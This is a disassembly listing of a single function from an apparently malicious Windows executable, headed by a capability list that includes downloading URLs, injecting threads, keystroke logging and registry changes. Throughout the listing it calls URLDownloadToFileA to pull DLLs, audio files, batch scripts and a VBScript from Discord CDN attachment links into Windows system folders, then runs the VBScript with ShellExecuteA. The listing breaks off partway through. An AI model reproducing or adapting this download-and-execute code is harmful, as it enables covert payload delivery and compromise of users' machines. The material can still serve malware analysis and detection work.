Function at 0x1400560c0
Capabilities:
Check for time delay via gettickcount
Create process on windows
Create thread
Download url
Inject thread
Log keystrokes via polling
Receive data
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x1ff0]
mov eax, 0x20f0
call fcn.140128520
sub rsp, rax
lea rdx, [rbp + 0x80]
xor r12d, r12d
lea rdx, [rdx + 0x80]
mov qword [rsp + 0x20], r12
lea rbx, [0x140000000]
xor r9d, r9d
movups xmm0, xmmword [rbx + 0x168910]
lea rcx, [rbx + 0x168910]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
lea r8, [rsp + 0x68]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [str.C:WindowsTempRafaRGB.dll]
movups xmmword [rdx + 0x20], xmm1
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0x38]
mov word [rdx + 0x38], ax
movzx eax, byte [rcx + 0x3a]
xor ecx, ecx
mov byte [rdx + 0x3a], al
lea rdx, [rbp + 0x80]
mov eax, dword [0x1401689e8]
movups xmmword [rsp + 0x68], xmm0
mov dword [rbp - 0x80], eax
movsd xmm0, qword [0x1401689e0]
movsd qword [rsp + 0x78], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1689f0]
lea rax, [rbx + 0x1689f0]
mov qword [rsp + 0x20], r12
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x80]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov rax, qword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmm1, xmmword [0x140168ab8]
movups xmmword [rcx + 0xa0], xmm0
mov qword [rcx + 0xb0], rax
movups xmm0, xmmword [str.C:WindowsOPCION_ACTIVADA_AUDIO_VOZ.wav]
movzx eax, byte [0x140168ad0]
movups xmmword [rbp - 0x60], xmm1
mov byte [rbp - 0x48], al
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x140168ac8]
movsd qword [rbp - 0x50], xmm0
xor r9d, r9d
lea r8, [rbp - 0x70]
lea rdx, [rbp + 0x80]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movzx eax, word [0x140168b38]
lea r8, [rsp + 0x68]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1187048206727663728_1201038705981390848_activar.wav]
lea rdx, [rbp + 0x80]
movaps xmm1, xmmword [0x140168af0]
xor r9d, r9d
movaps xmmword [rbp + 0x80], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140168b00]
mov word [rbp + 0xd8], ax
movzx eax, byte [0x140168b3a]
movaps xmmword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [0x140168b20]
mov byte [rbp + 0xda], al
mov eax, dword [0x140168b50]
movaps xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140168b30]
mov dword [rsp + 0x78], eax
movzx eax, word [0x140168b54]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:Windows_activar.wav]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x140168b56]
movaps xmmword [rbp + 0x90], xmm1
movaps xmm1, xmmword [0x140168b10]
movups xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x7e], al
movaps xmmword [rbp + 0xb0], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1187048206727663728_1201038724939657226_desactivar.wav]
lea r8, [rsp + 0x68]
mov eax, dword [0x140168bb8]
lea rdx, [rbp + 0x80]
movaps xmm1, xmmword [0x140168b70]
xor r9d, r9d
movaps xmmword [rbp + 0x80], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140168b80]
movaps xmmword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [0x140168ba0]
movaps xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140168bb0]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:Windowsdesactivar.wav]
mov dword [rbp + 0xd8], eax
movzx eax, word [0x140168bbc]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp + 0xdc], ax
movsd xmm0, qword [0x140168bd0]
movzx eax, word [0x140168bd8]
movaps xmmword [rbp + 0x90], xmm1
movaps xmm1, xmmword [0x140168b90]
movsd qword [rsp + 0x78], xmm0
movaps xmmword [rbp + 0xb0], xmm1
mov word [rbp - 0x80], ax
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1142094843590479945_1142101206756503673_milky.vbs]
movaps xmm1, xmmword [0x140168bf0]
movzx eax, byte [0x140168c38]
movaps xmmword [rbp + 0x80], xmm0
movaps xmm0, xmmword [0x140168c00]
movaps xmmword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [0x140168c20]
movaps xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140168c30]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:WindowsTempmilky.vbs]
mov byte [rbp + 0xd8], al
movaps xmmword [rbp + 0x90], xmm1
movaps xmm1, xmmword [0x140168c10]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140168c50]
movsd qword [rsp + 0x78], xmm0
movaps xmmword [rbp + 0xb0], xmm1
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
lea r8, [rsp + 0x68]
xor r9d, r9d
mov word [rbp - 0x80], ax
lea rdx, [rbp + 0x80]
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, str.C:WindowsTempmilky.vbs
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movups xmm0, xmmword [rbx + 0x168c60]
lea rcx, [rbx + 0x168c60]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0xb50]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x1390]
mov byte [rdx + 0x34], al
lea rdx, str.C:WindowsTemphk4x.dll
call fcn.14005cd90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1390]
xor ecx, ecx
lea rdx, [rbp + 0xb50]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rsp + 0x68]
movzx eax, word [0x140168d98]
lea rdx, [rbp + 0x80]
movaps xmm1, xmmword [0x140168d50]
xor r9d, r9d
movaps xmmword [rbp + 0x80], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140168d60]
movaps xmmword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [0x140168d80]
movaps xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140168d90]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_systen.dll]
mov word [rbp + 0xd8], ax
movzx eax, word [0x140168db8]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x80], ax
movsd xmm0, qword [0x140168db0]
movzx eax, byte [0x140168dba]
movaps xmmword [rbp + 0x90], xmm1
movaps xmm1, xmmword [0x140168d70]
movsd qword [rsp + 0x78], xmm0
movaps xmmword [rbp + 0xb0], xmm1
mov byte [rbp - 0x7e], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rsp + 0x68]
movzx eax, word [0x140168d98]
lea rdx, [rbp + 0x80]
movaps xmm1, xmmword [0x140168d50]
xor r9d, r9d
movaps xmmword [rbp + 0x80], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140168d60]
movaps xmmword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [0x140168d80]
movaps xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140168d90]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0xd8], ax
movzx eax, word [0x140168dd8]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x80], ax
movsd xmm0, qword [0x140168dd0]
movzx eax, byte [0x140168dda]
movaps xmmword [rbp + 0x90], xmm1
movaps xmm1, xmmword [0x140168d70]
movsd qword [rsp + 0x78], xmm0
movaps xmmword [rbp + 0xb0], xmm1
mov byte [rbp - 0x7e], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x168de0]
lea rcx, [rbx + 0x168de0]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
lea rdx, [rbp + 0x1210]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
mov word [rdx + 0x3c], ax
movzx eax, byte [rcx + 0x3e]
lea rcx, [rbp + 0x14a0]
mov byte [rdx + 0x3e], al
lea rdx, str.C:WindowsTemp_block_internet.bat
call fcn.14005cd90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x14a0]
xor ecx, ecx
lea rdx, [rbp + 0x1210]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x168ed0]
lea rax, [rbx + 0x168ed0]
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x12d0]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
lea rdx, str.C:WindowsTemp_resume_internet.bat
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x90], xmm1
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xa0], xmm0
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x15b0]
call fcn.14005cd90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x15b0]
xor ecx, ecx
lea rdx, [rbp + 0x12d0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x168fc0]
lea rcx, [rbx + 0x168fc0]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0xc10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x16c0]
mov byte [rdx + 0x34], al
lea rdx, str.C:WindowsSystem32_rafa.wav
call fcn.14005cd90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x16c0]
xor ecx, ecx
lea rdx, [rbp + 0xc10]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1690a0]
lea rax, [rbx + 0x1690a0]
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0xf10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
lea rdx, str.C:WindowsTempESP_Box.dll
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov rax, qword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov qword [rcx + 0xb0], rax
lea rcx, [rbp + 0xa40]
call fcn.14005cd90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0xa40]
xor ecx, ecx
lea rdx, [rbp + 0xf10]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x169180]
lea rcx, [rbx + 0x169180]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0xd90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rcx, [rbp + 0xa40]
mov byte [rdx + 0x36], al
lea rdx, str.C:WindowsTemp_boxrgb.dll
call fcn.14005cd90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1c10]
xor ecx, ecx
lea rdx, [rbp + 0xd90]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x169240]
lea rcx, [rbx + 0x169240]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1090]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xb0]
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0xb8]
lea rcx, [rbp + 0xa40]
mov dword [rdx + 0x38], eax
lea rdx, str.C:WindowsTempBlackAndRed.dll
call fcn.14005cd90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1d20]
xor ecx, ecx
lea rdx, [rbp + 0x1090]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x169240]
lea rcx, [rbx + 0x169240]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea r8, [rbp + 0x1150]
movups xmmword [r8], xmm0
lea rdx, str.C:WindowsTempBlackAndRed.dll
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [r8 - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8 + 0x20], xmm0
mov qword [r8 + 0x30], rax
mov eax, dword [rcx + 0xb8]
lea rcx, [rbp + 0x17d0]
mov dword [r8 + 0x38], eax
call fcn.14005cd90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x17d0]
xor ecx, ecx
lea rdx, [rbp + 0x1150]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x169300]
lea rcx, [rbx + 0x169300]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0xcd0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
mov byte [rdx + 0x34], al
lea rcx, [rbp + 0x18e0]
lea rdx, str.C:WindowsTempRas1.dll
call fcn.14005cd90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x18e0]
xor ecx, ecx
lea rdx, [rbp + 0xcd0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1693e0]
lea rcx, [rbx + 0x1693e0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0xe50]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rcx, [rbp + 0x19f0]
mov byte [rdx + 0x36], al
lea rdx, str.C:WindowsTempRastss.dll
call fcn.14005cd90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x19f0]
xor ecx, ecx
lea rdx, [rbp + 0xe50]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1694c0]
lea rcx, [rbx + 0x1694c0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0xfd0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0x38]
mov word [rdx + 0x38], ax
movzx eax, byte [rcx + 0x3a]
lea rcx, [rbp + 0x1b00]
mov byte [rdx + 0x3a], al
lea rdx, str.C:WindowsTempLocation3D.dll
call fcn.14005cd90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1b00]
xor ecx, ecx
lea rdx, [rbp + 0xfd0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x169180]
lea rcx, [rbx + 0x169180]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x80]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
lea r8, [rsp + 0x68]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x80]
movzx eax, word [0x140168848]
mov word [rbp - 0x80], ax
movzx eax, byte [0x14016884a]
movups xmmword [rsp + 0x68], xmm0
mov byte [rbp - 0x7e], al
movsd xmm0, qword [0x140168840]
movsd qword [rsp + 0x78], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x169180]
lea rcx, [rbx + 0x169180]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x80]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
mov eax, dword [rcx + 0x30]
lea r8, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x20], r12
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x80]
movzx eax, word [0x140168848]
mov word [rbp - 0x80], ax
movzx eax, byte [0x14016884a]
movups xmmword [rsp + 0x68], xmm0
mov byte [rbp - 0x7e], al
movsd xmm0, qword [0x140168840]
